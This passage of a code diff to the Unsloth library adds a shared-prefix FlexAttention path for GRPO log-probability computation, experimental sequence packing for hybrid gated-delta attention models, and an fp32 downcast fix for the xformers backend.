+# only its fp16/bf16 flash-2 op runs, so fp32 Q/K/V (DoRA, #1013) must be downcast there;
+# below sm_100 cutlass handles fp32 natively. Read once from device 0, like the probe gate.
+_XFORMERS_FP32_UNSUPPORTED = (
+    torch.cuda.is_available() and torch.cuda.get_device_capability()[0] >= 10
+)
 SDPA_HAS_GQA = "enable_gqa" in (scaled_dot_product_attention.__doc__ or "")
 
+# PrefixGrouper kernel, resolved once when the env gate is on so PG-off users never load
+# torch flex_attention.
+_flex_shared_prefix_attention = None
+if os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in ("0", "false", "no", "off"):
+    try:
+        from .prefix_grouper_kernel import (
+            flex_shared_prefix_attention as _flex_shared_prefix_attention,
+        )
+    except Exception:
+        _flex_shared_prefix_attention = None
+
 FLASH_VARLEN = "flash_varlen"
 FLASH_DENSE = "flash_dense"
 XFORMERS = "xformers"
@@ -84,6 +128,9 @@ class AttentionContext:
     attention_mask: Optional[Tensor]
     causal_mask: Optional[Any]
     sliding_window: Optional[int] = None
+    # PrefixGrouper: non-None routes Q/K/V through the FlexAttention shared-prefix kernel;
+    # None leaves every existing construction/behavior unchanged.
+    prefix_seg_info: Optional[Any] = None
 
 
 def select_attention_backend(use_varlen: bool = False) -> str:
@@ -99,6 +146,33 @@ def select_attention_backend(use_varlen: bool = False) -> str:
     return SDPA
 
 
+def resolve_prefix_seg_info(kwargs, past_key_value, attention_mask):
+    """PrefixGrouper shared-prefix segment table resolver for the arch attention forwards.
+
+    The GRPO PrefixGrouper packed path rides a ``PrefixSegInfo`` in through ``**kwargs``
+    (same route as ``packed_seq_lengths``). When present, the forward must route Q/K/V
+    through the FlexAttention shared-prefix kernel via ``AttentionContext.prefix_seg_info``.
+
+    Returns the seg table (or ``None`` when PrefixGrouper did not group this batch -- the
+    unchanged path). Hardened: the shared-prefix stream is NOT a plain causal sequence, so running
+    it under a KV cache or an explicit padding mask would silently produce wrong logprobs.
+    That combination can only arise from misuse (PrefixGrouper only rides in via the GRPO
+    logprob forward, which is mask-free prefill), so we RAISE loudly instead of degrading
+    to a wrong result.
+
+    Factored here so every arch (llama/mistral/qwen3/gemma2/cohere/granite/falcon_h1)
+    shares one implementation and cannot drift.
+    """
+    seg = kwargs.get("prefix_seg_info", None)
+    if seg is not None and (past_key_value is not None or attention_mask is not None):
+        raise RuntimeError(
+            "PrefixGrouper: prefix_seg_info requires prefill with no KV cache and no "
+            f"attention_mask (got past_key_value={past_key_value is not None}, "
+            f"attention_mask={attention_mask is not None})."
+        )
+    return seg
+
+
 def run_attention(
     *, config: AttentionConfig, context: AttentionContext, Q: Tensor, K: Tensor, V: Tensor
 ) -> Tensor:
@@ -111,6 +185,28 @@ def run_attention(
     and SDPA handle packing via a block-diagonal mask.
     """
 
+    # PrefixGrouper shared-prefix attention (GRPO dedup). Q/K/V here are [bsz, H, T, D];
+    # the kernel takes/returns [1, T, H, D], matching the other backends. The field is
+    # only set when the env gate is on and grouping succeeded; None keeps every backend
+    # byte-identical.
+    if context.prefix_seg_info is not None:
+        flex_shared_prefix_attention = _flex_shared_prefix_attention
+        if flex_shared_prefix_attention is None:
+            # gate flipped on after import (or one-time load failed): resolve lazily.
+            from ..utils.prefix_grouper_kernel import flex_shared_prefix_attention
+
+        scale = None
+        if config.flash_varlen_kwargs:
+            scale = config.flash_varlen_kwargs.get("softmax_scale")
+        A = flex_shared_prefix_attention(
+            Q.transpose(1, 2),
+            K.transpose(1, 2),
+            V.transpose(1, 2),
+            context.prefix_seg_info,
+            scale = scale,
+        )
+        return A  # [1, T, n_heads, head_dim]
+
     backend = config.backend
     if backend == FLASH_VARLEN and context.seq_info is None:
         backend = FLASH_DENSE if HAS_FLASH_ATTENTION else SDPA
@@ -137,9 +233,13 @@ def run_attention(
     requires_grad = context.requires_grad
     sliding_window = context.sliding_window
 
-    # DoRA promotes q/k/v_proj outputs to fp32, which FlashAttention rejects, so
-    # downcast any fp32 Q/K/V to a flash-supported dtype (#1013).
-    if backend in (FLASH_DENSE, FLASH_VARLEN) and torch.float32 in (
+    # DoRA promotes q/k/v_proj outputs to fp32, which FlashAttention rejects (and so does
+    # the xformers flash-2 op on sm_100+, see _XFORMERS_FP32_UNSUPPORTED), so downcast any
+    # fp32 Q/K/V to a supported dtype (#1013).
+    if (
+        backend in (FLASH_DENSE, FLASH_VARLEN)
+        or (backend == XFORMERS and _XFORMERS_FP32_UNSUPPORTED)
+    ) and torch.float32 in (
         Q.dtype,
         K.dtype,
         V.dtype,
@@ -147,14 +247,16 @@ def run_attention(
         # Prefer the autocast dtype, else a non-fp32 input's dtype, then clamp.
         if torch.is_autocast_enabled():
             try:
-                flash_dtype = torch.get_autocast_dtype("cuda")
+                downcast_dtype = torch.get_autocast_dtype("cuda")
             except (AttributeError, TypeError):
-                flash_dtype = torch.get_autocast_gpu_dtype()
+                downcast_dtype = torch.get_autocast_gpu_dtype()
         else:
-            flash_dtype = next((d for d in (Q.dtype, K.dtype, V.dtype) if d != torch.float32), None)
-        if flash_dtype not in (torch.float16, torch.bfloat16):
-            flash_dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
-        Q, K, V = Q.to(flash_dtype), K.to(flash_dtype), V.to(flash_dtype)
+            downcast_dtype = next(
+                (d for d in (Q.dtype, K.dtype, V.dtype) if d != torch.float32), None
+            )
+        if downcast_dtype not in (torch.float16, torch.bfloat16):
+            downcast_dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
+        Q, K, V = Q.to(downcast_dtype), K.to(downcast_dtype), V.to(downcast_dtype)
 
     if backend == FLASH_VARLEN:
         Q_f = Q.transpose(1, 2).reshape(bsz * q_len, n_heads, head_dim)
@@ -337,5 +439,6 @@ __all__ = [
     "AttentionConfig",
     "AttentionContext",
     "select_attention_backend",
+    "resolve_prefix_seg_info",
     "run_attention",
 ]
diff --git a/unsloth/utils/packing.py b/unsloth/utils/packing.py
index dd0a1bfb62..f8d539fb93 100644
--- a/unsloth/utils/packing.py
+++ b/unsloth/utils/packing.py
@@ -17,8 +17,11 @@
 
 from __future__ import annotations
 
+import inspect
 import logging
+import os
 from collections import OrderedDict
+from functools import wraps
 from typing import Any, Iterable, Optional, Sequence, Tuple
 
 import torch
@@ -218,6 +221,305 @@ def enable_padding_free_metadata(model, trainer):
     collator._unsloth_padding_free_lengths_wrapped = True
 
 
+# --- Experimental: correct packing / padding-free for hybrid linear-attention ---
+# Qwen3.5 / Qwen3-Next mix a gated-delta recurrence with a causal conv1d. Packing
+# flattens the batch, and both ops leak state across sequence boundaries unless we
+# pass seq_idx (conv) and cu_seqlens (scan). Only the accelerated kernels accept
+# these, so we fail closed on the pure-torch fallbacks. Gated behind an env flag.
+#
+# Overrides only the per-module prefill kernels (causal_conv1d_fn /
+# chunk_gated_delta_rule), leaving decode untouched so generation is unaffected.
+# Recompute-safe under gradient checkpointing; never fires for cached forwards.
+# Feature-detect (never version-detect), fail closed, idempotent, one deduped
+# diagnostic when it declines to activate.
+_HYBRID_PACKING_ENV_VAR = "UNSLOTH_EXPERIMENTAL_HYBRID_PACKING"
+_HYBRID_LOGGER = logging.getLogger("unsloth.hybrid_packing")
+_HYBRID_WARNED: set = set()
+
+
+def _hybrid_packing_enabled() -> bool:
+    # Read at call time so setting the flag after `import unsloth` still takes effect.
+    return os.environ.get(_HYBRID_PACKING_ENV_VAR, "0").strip().lower() in {
+        "1",
+        "true",
+        "yes",
+        "on",
+    }
+
+
+def _hybrid_reject(reason: str) -> bool:
+    # One deduped diagnostic explaining why hybrid packing stayed on the padded path.
+    if reason not in _HYBRID_WARNED:
+        _HYBRID_WARNED.add(reason)
+        _HYBRID_LOGGER.warning(
+            "Unsloth: hybrid linear-attention packing disabled (padded path): %s.",
+            reason,
+        )
+    return False
+
+
+def _iter_gated_delta_modules(model):
+    modules, seen = [], set()
+    for module in model.modules():
+        if id(module) in seen:
+            continue
+        seen.add(id(module))
+        if type(module).__name__.endswith("GatedDeltaNet") and hasattr(module, "conv1d"):
+            modules.append(module)
+    return modules
+
+
+def _hybrid_varlen_kernels_available(gated_delta_modules) -> Optional[str]:
+    """None if every module can use the accelerated varlen path, else a short
+    reason string. All modules are validated before any are mutated; signatures
+    are read off the captured originals when already wrapped.
+
+    Dispatch (the mixer actually calling self.causal_conv1d_fn /
+    self.chunk_gated_delta_rule) is verified at RUNTIME by the forward-wrapper
+    handshake, not statically: Unsloth's compile-disable shim hides it from
+    inspect.getsource, and every supported transformers release dispatches
+    through the instance attribute."""
+    if not gated_delta_modules:
+        return "no gated-delta modules found"
+    for module in gated_delta_modules:
+        conv = getattr(module, "_unsloth_varlen_orig_conv", None) or getattr(
+            module,
+            "causal_conv1d_fn",
+            None,
+        )
+        scan = getattr(module, "_unsloth_varlen_orig_scan", None) or getattr(
+            module,
+            "chunk_gated_delta_rule",
+            None,
+        )
+        if conv is None or scan is None:
+            return "accelerated kernels missing (install causal_conv1d and fla)"
+        if getattr(scan, "__name__", "").startswith("torch_") or getattr(
+            conv,
+            "__name__",
+            "",
+        ).startswith("torch_"):
+            return "pure-torch kernel fallback in use"
+        try:
+            if "seq_idx" not in inspect.signature(conv).parameters:
+                return "conv kernel does not accept seq_idx"
+            if "cu_seqlens" not in inspect.signature(scan).parameters:
+                return "scan kernel does not accept cu_seqlens"
+        except (TypeError, ValueError):
+            return "kernel signature not introspectable"
+    return None
+
+
+def _varlen_from_position_ids(position_ids):
+    """(cu_seqlens int32[n+1], seq_idx int32[1,T]) for a flattened padding-free
+    batch, else None. Padding-free position_ids reset to 0 at each sequence start;
+    accepts only a validated single-row pack (normal batch or single sequence ->
+    None). Fallback used only when packed_seq_lengths is absent: it assumes
+    right-packed reset position_ids and would mis-segment a left-padded row, which
+    is why packed_seq_lengths is always preferred."""
+    if position_ids is None:
+        return None
+    pos = position_ids
+    if pos.dim() == 3:  # MRoPE [n_planes, 1, T] -> text plane is index 0
+        pos = pos[0]
+    if pos.dim() != 2 or pos.shape[0] != 1:
+        return None
+    row = pos[0]
+    total = row.shape[0]
+    starts = (row == 0).nonzero(as_tuple = False).flatten()
+    if starts.numel() <= 1 or int(starts[0].item()) != 0:
+        return None
+    cu_seqlens = torch.cat(
+        [
+            starts.to(torch.int32),
+            torch.tensor([total], dtype = torch.int32, device = row.device),
+        ]
+    )
+    return _seq_idx_from_cu_seqlens(cu_seqlens, total)
+
+
+def _seq_idx_from_cu_seqlens(cu_seqlens, total):
+    """(cu_seqlens int32[n+1], seq_idx int32[1,total]) partitioning [0, total),
+    else None. Appends a trailing segment for pad_to_multiple_of zero tokens so the
+    boundaries always cover the full flattened length the kernels see."""
+    if cu_seqlens is None or cu_seqlens.numel() < 2 or int(cu_seqlens[0].item()) != 0:
+        return None
+    boundaries = cu_seqlens.to(torch.int32)
+    last = int(boundaries[-1].item())
+    if last > total:
+        return None
+    if last < total:  # trailing pad tokens -> one final segment
+        boundaries = torch.cat(
+            [
+                boundaries,
+                torch.tensor([total], dtype = torch.int32, device = boundaries.device),
+            ]
+        )
+    lengths = boundaries[1:] - boundaries[:-1]
+    if not bool((lengths > 0).all()):
+        return None
+    seq_idx = torch.repeat_interleave(
+        torch.arange(lengths.numel(), dtype = torch.int32, device = boundaries.device),
+        lengths.to(torch.int64),
+    ).unsqueeze(0)
+    return boundaries, seq_idx
+
+
+def _hybrid_varlen_metadata(kwargs):
+    """Boundary metadata (cu_seqlens, seq_idx) for one flattened packed forward,
+    else None. Prefers the authoritative packed_seq_lengths, falls back to
+    reset-style position_ids. Returns None for cached forwards and non-packed
+    batches so decode / eval / normal batches are a strict no-op."""
+    if kwargs.get("use_cache"):
+        return None
+    if kwargs.get("past_key_values") is not None or kwargs.get("cache_params") is not None:
+        return None
+    total, device = None, None
+    for key in ("input_ids", "inputs_embeds", "position_ids"):
+        tensor = kwargs.get(key)
+        if tensor is not None and hasattr(tensor, "shape"):
+            total = tensor.shape[1] if key == "inputs_embeds" else tensor.shape[-1]
+            device = tensor.device
+            break
+    if total is None:
+        return None
+    psl = kwargs.get("packed_seq_lengths")
+    if psl is not None and getattr(psl, "numel", lambda: 1)() > 0:  # skip empty (no max())
+        info = get_packed_info_from_kwargs(kwargs, device)
+        if info is not None:
+            _, cu_seqlens, _ = info
+            built = _seq_idx_from_cu_seqlens(cu_seqlens, total)
+            if built is not None:
+                return built
+    return _varlen_from_position_ids(kwargs.get("position_ids"))
+
+
+def patch_hybrid_linear_attention_varlen(model) -> bool:
+    """Feed seq_idx / cu_seqlens to the gated-delta conv + scan so packing and
+    padding-free reset state at sequence boundaries. Gated by
+    UNSLOTH_EXPERIMENTAL_HYBRID_PACKING and fail-closed. Returns True when the
+    varlen path is active, so the caller may allow packing for the model.
+    Idempotent: repeat calls on an already-patched model return True."""
+    if not _hybrid_packing_enabled():
+        return False
+    gated_delta_modules = _iter_gated_delta_modules(model)
+
+    # Idempotency: an already fully-patched model stays active without re-validation.
+    if (
+        getattr(model, "_unsloth_varlen_forward_wrapped", False)
+        and gated_delta_modules
+        and all(getattr(m, "_unsloth_varlen_wrapped", False) for m in gated_delta_modules)
+    ):
+        return True
+
+    reason = _hybrid_varlen_kernels_available(gated_delta_modules)
+    if reason is not None:
+        return _hybrid_reject(reason)
+
+    # Transactional: every module validated above, now wrap each and stash originals.
+    for module in gated_delta_modules:
+        if getattr(module, "_unsloth_varlen_wrapped", False):
+            continue
+        conv_orig, scan_orig = module.causal_conv1d_fn, module.chunk_gated_delta_rule
+        module._unsloth_varlen_orig_conv = conv_orig
+        module._unsloth_varlen_orig_scan = scan_orig
+
+        @wraps(conv_orig)
+        def conv_fn(
+            *args,
+            _orig = conv_orig,
+            _module = module,
+            **kwargs,
+        ):
+            varlen = getattr(_module, "_unsloth_varlen", None)
+            if varlen is not None:
+                _module._unsloth_varlen_conv_hit = True  # runtime dispatch handshake
+                if kwargs.get("seq_idx") is None:
+                    kwargs["seq_idx"] = varlen[1]
+            return _orig(*args, **kwargs)
+
+        @wraps(scan_orig)
+        def scan_fn(
+            *args,
+            _orig = scan_orig,
+            _module = module,
+            **kwargs,
+        ):
+            varlen = getattr(_module, "_unsloth_varlen", None)
+            if varlen is not None:
+                _module._unsloth_varlen_scan_hit = True
+                if kwargs.get("cu_seqlens") is None:
+                    kwargs["cu_seqlens"] = varlen[0]
+            return _orig(*args, **kwargs)
+
+        module.causal_conv1d_fn = conv_fn
+        module.chunk_gated_delta_rule = scan_fn
+        module._unsloth_varlen = None
+        module._unsloth_varlen_wrapped = True
+
+    # Refresh the boundary stash on the outermost forward (once per step, outside
+    # gradient-checkpoint recompute, so it stays valid for recomputed inner
+    # forwards). Read from both positional and keyword args via the bound signature.
+    if not getattr(model, "_unsloth_varlen_forward_wrapped", False):
+        forward_orig = model.forward
+        try:
+            forward_sig = inspect.signature(forward_orig)
+        except (TypeError, ValueError):
+            forward_sig = None
+
+        @wraps(forward_orig)
+        def forward_with_varlen(*args, **kwargs):
+            try:
+                bound = dict(kwargs)
+                if forward_sig is not None and args:
+                    bound.update(forward_sig.bind_partial(*args).arguments)
+                varlen = _hybrid_varlen_metadata(bound)
+            except Exception:
+                varlen = None
+            first_pack = varlen is not None and not getattr(
+                model,
+                "_unsloth_varlen_handshake_done",
+                False,
+            )
+            for module in gated_delta_modules:
+                module._unsloth_varlen = varlen
+                if first_pack:
+                    module._unsloth_varlen_conv_hit = False
+                    module._unsloth_varlen_scan_hit = False
+            out = forward_orig(*args, **kwargs)
+            # Runtime dispatch handshake: on the first packed forward, confirm BOTH
+            # boundary kernels ran for EVERY module. seq_idx (conv) and cu_seqlens
+            # (scan) are both load-bearing, so a partial/absent dispatch (a future
+            # version no longer routing through self.<kernel>) leaves cross-sequence
+            # contamination. The batch is already flattened with no padded recovery,
+            # so abort before loss/backward rather than train on corrupted data.
+            if first_pack:
+                model._unsloth_varlen_handshake_done = True
+                missing = [
+                    type(m).__name__
+                    for m in gated_delta_modules
+                    if not (
+                        getattr(m, "_unsloth_varlen_conv_hit", False)
+                        and getattr(m, "_unsloth_varlen_scan_hit", False)
+                    )
+                ]
+                if missing:
+                    for m in gated_delta_modules:
+                        m._unsloth_varlen = None
+                    _hybrid_reject("varlen conv/scan not both dispatched (dispatch changed?)")
+                    raise RuntimeError(
+                        "Unsloth: experimental hybrid packing cannot continue because the "
+                        "varlen conv/scan wrappers were not both invoked for "
+                        f"{sorted(set(missing))}. Unset UNSLOTH_EXPERIMENTAL_HYBRID_PACKING "
+                        "to train these models on the padded path."
+                    )
+            return out
+
+        model.forward = forward_with_varlen
+        model._unsloth_varlen_forward_wrapped = True
+    return True
+
+
 def get_packed_info_from_kwargs(
     kwargs: dict, device: torch.device
 ) -> Optional[Tuple[torch.Tensor, torch.Tensor, int]]:
diff --git a/unsloth/utils/prefix_grouper.py b/unsloth/utils/prefix_grouper.py
new file mode 100644
index 0000000000..4e6ff9672c
--- /dev/null
+++ b/unsloth/utils/prefix_grouper.py
@@ -0,0 +1,351 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""PrefixGrouper layout builder + completion-logprob extraction for the Unsloth GRPO
+packed path (all archs that route through the varlen attention dispatch).
+
+Given the de-padded, LEFT-PACKED input_ids the packed GRPO path already works with, this
+module:
+
+  1. Detects consecutive ``num_generations`` rows that share a prompt prefix (byte-
+     identical prompt precondition; falls back / returns None otherwise).
+  2. Builds ONE flat shared-prefix stream across all groups
+     ``[ prefix_g0, suf_g0_0 .. suf_g0_{G-1}, prefix_g1, ... ]`` with position_ids that
+     continue each prefix positionally, plus a ``PrefixSegInfo`` segment table for the
+     FlexAttention shared-prefix kernel.
+  3. Extracts completion logprobs via the index map (completion pos ``j==0`` predicted
+     from the shared prefix's last token; ``j>=1`` from the preceding suffix token) and
+     scatters them back into ``[total_rows, W]`` EXACTLY where the full-row packed path
+     puts them (dest = ``orig_row*L + orig_col``), so grpo_compute_loss / completion_mask
+     / TIS / metrics are byte-untouched.
+
+The flat stream is built by GATHERING original (row, col) coordinates out of input_ids,
+so the grad path's autograd flows to the same embedding rows as today (the shared prefix
+now contributes grad once = the sum of the G repeats, which is mathematically identical).
+
+``chunked_hidden_states_selective_log_softmax`` (from unsloth_zoo, passed in) is reused
+verbatim over the gathered predicting-position hidden states, so fp32 accumulation,
+logit_scale/softcapping/temperature are all preserved.
+
+Env:
+  UNSLOTH_GRPO_PREFIX_GROUPER=1            engage (default ON; set 0 to disable). Auto-off under vLLM.
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOKR=1.3     tok_r auto-gate threshold (env-overridable)
+  UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY=1     first-step self-verify (default ON)
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOL=0.7      self-verify PASS band (nats)
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import List, Optional, Tuple
+
+import torch
+
+from .prefix_grouper_kernel import build_seg_info_multigroup, PrefixSegInfo
+
+
+# ---------------------------------------------------------------------------
+# Env helpers
+# ---------------------------------------------------------------------------
+def env_on(name: str, default: str = "0") -> bool:
+    return os.environ.get(name, default).lower() not in ("0", "false", "no", "off")
+
+
+# One-time env reads; the helpers stay callable since unsloth_zoo imports and calls them.
+_ENABLED = env_on("UNSLOTH_GRPO_SEQ_PACKING", "1") and env_on("UNSLOTH_GRPO_PREFIX_GROUPER", "1")
+_VERIFY_ON = env_on("UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY", "1")
+_TOKR_THRESHOLD = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOKR", "1.3"))
+_TOL_OK = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOL", "0.7"))
+
+
+def prefix_grouper_enabled() -> bool:
+    """PrefixGrouper requires seq-packing on (it reuses its de-pad + scatter machinery)."""
+    return _ENABLED
+
+
+def verify_on() -> bool:
+    return _VERIFY_ON
+
+
+def tokr_threshold() -> float:
+    return _TOKR_THRESHOLD
+
+
+def tol_ok() -> float:
+    return _TOL_OK
+
+
+# diff >= TOL_KILL = broken mask/isolation -> structure permanently unsafe; between
+# tol_ok and TOL_KILL -> fall back for this shape but keep trying others.
+TOL_KILL = 1.5
+
+
+@dataclass
+class GroupLayout:
+    """Everything the GRPO forward needs to run + extract the shared-prefix path."""
+
+    flat_ids: torch.Tensor  # [1, T]  (T == seg.T)
+    position_ids: torch.Tensor  # [1, T]
+    prefix_seg_info: PrefixSegInfo
+    # per completion target token, aligned 1:1:
+    tgt_rows: torch.Tensor  # [N] original row index
+    tgt_cols: torch.Tensor  # [N] original padded column in that row
+    tgt_pred: torch.Tensor  # [N] flat predicting index (into the T stream)
+    tgt_flat: torch.Tensor  # [N] flat index of the target token itself (into T)
+    total_rows: int
+    L: int  # original padded seq length (input_ids.shape[1])
+    W: int  # logits_to_keep + max_left_pad (scatter width)
+    tok_r: float
+    signature: Tuple
+
+    def extract_logps(
+        self,
+        hidden,
+        lm_head,
+        chunked_fn,
+        chunks,
+        logit_scale_multiply,
+        logit_scale_divide,
+        logit_softcapping,
+        temperature,
+    ) -> torch.Tensor:
+        """hidden: [1, T, Hdim] (pre-lm_head hidden states, UNSLOTH_RETURN_HIDDEN_STATES=1).
+        Returns [total_rows, W] float32, byte-compatible with the packed path result."""
+        # In a sharded model hidden may live on the lm-head device; move the small index
+        # maps to hidden.device before indexing.
+        device = hidden.device
+        pred_h = hidden[0, self.tgt_pred.to(device), :].unsqueeze(0)  # [1, N, Hdim]
+        tgt_ids = self.flat_ids[0, self.tgt_flat].to(device).unsqueeze(0)  # [1, N]
+        sel = chunked_fn(
+            pred_h,
+            lm_head,
+            tgt_ids,
+            chunks,
+            logit_scale_multiply,
+            logit_scale_divide,
+            logit_softcapping,
+            temperature,
+        )[0]  # [N] logprobs
+        dest = self.tgt_rows.to(device) * self.L + self.tgt_cols.to(device)
+        result = (
+            torch.zeros(self.total_rows * self.L, dtype = torch.float32, device = device)
+            .index_put((dest,), sel.to(torch.float32))
+            .view(self.total_rows, self.L)[:, -self.W :]
+        )
+        return result
+
+
+def _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows):
+    """CPU-side grouping. Returns group dicts or None. Mirrors the packed _pk_* partition.
+
+    A row's REAL tokens are the columns where input != pad. Its completion region (what
+    the packed path scatters, then completion_mask masks) is the real columns with
+    original col >= cstart_r, where cstart_r = (L - logits_to_keep) - left_pad_r. The
+    prompt is the real columns < cstart_r. Within a GRPO group all G rows share the same
+    prompt => same left_pad => same cstart => the prompt real columns are BYTE-IDENTICAL
+    across the group (the shared prefix). We require that byte-identity (falls back
+    otherwise). No prompt-tail special-casing: every suffix token is scattered exactly
+    like the packed path; completion_mask masks the leading prompt-tail positions.
+    """
+    G = num_generations
+    if G is None or G < 2 or total_rows % G != 0:
+        return None
+    groups = []
+    for g0 in range(0, total_rows, G):
+        rows = list(range(g0, g0 + G))
+        prompt_cols_per_row = []  # real cols < cstart
+        prompt_toks_per_row = []
+        comp_cols_per_row = []  # real cols >= cstart  (the completion region packed scatters)
+        for r in rows:
+            cs = cstart_cpu[r]
+            rc = real_cols_cpu[r]
+            p_cols = [c for c in rc if c < cs]
+            c_cols = [c for c in rc if c >= cs]
+            prompt_cols_per_row.append(p_cols)
+            prompt_toks_per_row.append([ids_cpu[r][c] for c in p_cols])
+            comp_cols_per_row.append(c_cols)
+        if any(len(p) == 0 for p in prompt_toks_per_row):
+            return None
+        # require BYTE-IDENTICAL prompts across the group (shared-prefix precondition).
+        P = len(prompt_toks_per_row[0])
+        if any(len(prompt_toks_per_row[k]) != P for k in range(1, G)):
+            return None
+        p0 = prompt_toks_per_row[0]
+        if any(prompt_toks_per_row[k] != p0 for k in range(1, G)):
+            return None
+        if P == 0:
+            return None
+        R_list = [len(c) for c in comp_cols_per_row]
+        if sum(R_list) == 0:
+            return None
+        groups.append(
+            dict(
+                rows = rows,
+                P = P,
+                prefix_cols = prompt_cols_per_row[0],  # shared prompt real columns (row0)
+                prefix_row = rows[0],
+                R_list = R_list,
+                suf_cols = comp_cols_per_row,  # per-row completion-region real columns
+            )
+        )
+    return groups
+
+
+def _tok_r(groups) -> float:
+    tok_full = 0
+    tok_sp = 0
+    for gm in groups:
+        P = gm["P"]
+        Rs = gm["R_list"]
+        tok_full += sum(P + r for r in Rs)  # G*P + sumR
+        tok_sp += P + sum(Rs)  # P + sumR
+    return (tok_full / tok_sp) if tok_sp else 1.0
+
+
+def build_group_layout(
+    input_ids,
+    logits_to_keep,
+    pad_id,
+    num_generations,
+    left_pad_tokens_per_prompt,
+    *,
+    apply_tokr_gate = True,
+    max_segment_cap = None,
+):
+    """Build the shared-prefix GroupLayout, or return None to fall back to the packed path.
+
+    input_ids : [B, L]. GRPO's layout is left-padded in the prompt and right-padded in
+        the completion. Real tokens of a row are a contiguous run not necessarily
+        starting at column 0.
+    logits_to_keep : int
+    left_pad_tokens_per_prompt : [B] long tensor (per-row left-pad count in the prompt).
+    """
+    device = input_ids.device
+    total_rows, L = input_ids.shape
+    keep = input_ids != pad_id
+    # completion start column per row (matches create_completion_attention_mask / _pk_cstart).
+    cstart = ((L - logits_to_keep) - left_pad_tokens_per_prompt).to(torch.long)
+    cstart_cpu = cstart.tolist()
+    ids_cpu = input_ids.tolist()
+    # per-row real (non-pad) columns. GRPO rows are one contiguous real run, so derive
+    # [first, first+n) on GPU; the O(B*L) scan is only a non-contiguous fallback.
+    n_real = keep.sum(dim = 1)
+    first = torch.argmax(keep.to(torch.int8), dim = 1)
+    ar = torch.arange(L, device = device)
+    contiguous = bool(
+        (keep == ((ar >= first.unsqueeze(1)) & (ar < (first + n_real).unsqueeze(1)))).all()
+    )
+    if contiguous:
+        real_cols_cpu = [list(range(f, f + n)) for f, n in zip(first.tolist(), n_real.tolist())]
+    else:
+        keep_cpu = keep.tolist()
+        real_cols_cpu = [[c for c in range(L) if keep_cpu[r][c]] for r in range(total_rows)]
+
+    groups = _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows)
+    if groups is None:
+        return None
+
+    # sliding-window guard: a group's PG span is P + max(R); fall back if it exceeds the window.
+    if max_segment_cap is not None:
+        for gm in groups:
+            if gm["P"] + max(gm["R_list"]) > max_segment_cap:
+                return None
+
+    tok_r = _tok_r(groups)
+    if apply_tokr_gate and tok_r < tokr_threshold():
+        return None  # low reuse -> not worth it; use the full-row packed path
+
+    # Build flat stream by gathering original (row, col) coordinates.
+    group_specs = [(gm["P"], gm["R_list"]) for gm in groups]
+    seg, group_meta = build_seg_info_multigroup(group_specs, device)
+
+    flat_src_rows: List[int] = []
+    flat_src_cols: List[int] = []
+    pos_list: List[int] = []
+    tgt_rows: List[int] = []
+    tgt_cols: List[int] = []
+    tgt_pred: List[int] = []
+    tgt_flat: List[int] = []
+
+    for gm, meta in zip(groups, group_meta):
+        rows = gm["rows"]
+        P = gm["P"]
+        r0 = gm["prefix_row"]
+        prefix_cols = gm["prefix_cols"]  # ORIGINAL real prompt columns (len P) of row0
+        plast = meta["prefix_last_index"]  # base + P - 1
+        # gather the shared prefix once, from row0.
+        flat_src_rows.extend([r0] * P)
+        flat_src_cols.extend(prefix_cols)
+        pos_list.extend(range(P))
+        # suffixes: every suffix token is a completion-region target (scattered like the
+        # packed path; completion_mask hides prompt-tail positions).
+        for i, r in enumerate(rows):
+            cols = gm["suf_cols"][i]
+            r_i = len(cols)
+            s, e = meta["suffix_slices"][i]  # flat offsets [s, e)
+            flat_src_rows.extend([r] * r_i)
+            flat_src_cols.extend(cols)
+            pos_list.extend(range(P, P + r_i))
+            for j in range(r_i):
+                # pos 0 is predicted from the prefix's last token; j>=1 from the previous suffix token.
+                pred = plast if j == 0 else (s + j - 1)
+                tgt_rows.append(r)
+                tgt_cols.append(cols[j])  # ORIGINAL padded column in row r
+                tgt_pred.append(pred)
+                tgt_flat.append(s + j)  # flat index of the target token itself
+
+    T = len(flat_src_rows)
+    assert T == seg.T, f"flat stream len {T} != seg.T {seg.T}"
+    fr = torch.tensor(flat_src_rows, device = device, dtype = torch.long)
+    fc = torch.tensor(flat_src_cols, device = device, dtype = torch.long)
+    flat_ids = input_ids[fr, fc].unsqueeze(0)  # [1, T] (grad-safe gather)
+    position_ids = torch.tensor(pos_list, device = device, dtype = torch.long).unsqueeze(0)
+
+    max_left_pad = int(left_pad_tokens_per_prompt.max().item()) if total_rows else 0
+    W = logits_to_keep + max_left_pad
+
+    # self-verify cache key: the mask/index-map/scatter logic is structural, so key on
+    # (num_groups, group_sizes), not exact lengths -- GRPO lengths change every step and
+    # keying on T would re-verify forever ("verify once, then trust", like the packed path).
+    grp_sizes = tuple(sorted(len(gm["R_list"]) for gm in groups))
+    sig = (len(groups), grp_sizes)
+
+    return GroupLayout(
+        flat_ids = flat_ids,
+        position_ids = position_ids,
+        prefix_seg_info = seg,
+        tgt_rows = torch.tensor(tgt_rows, device = device, dtype = torch.long),
+        tgt_cols = torch.tensor(tgt_cols, device = device, dtype = torch.long),
+        tgt_pred = torch.tensor(tgt_pred, device = device, dtype = torch.long),
+        tgt_flat = torch.tensor(tgt_flat, device = device, dtype = torch.long),
+        total_rows = total_rows,
+        L = L,
+        W = W,
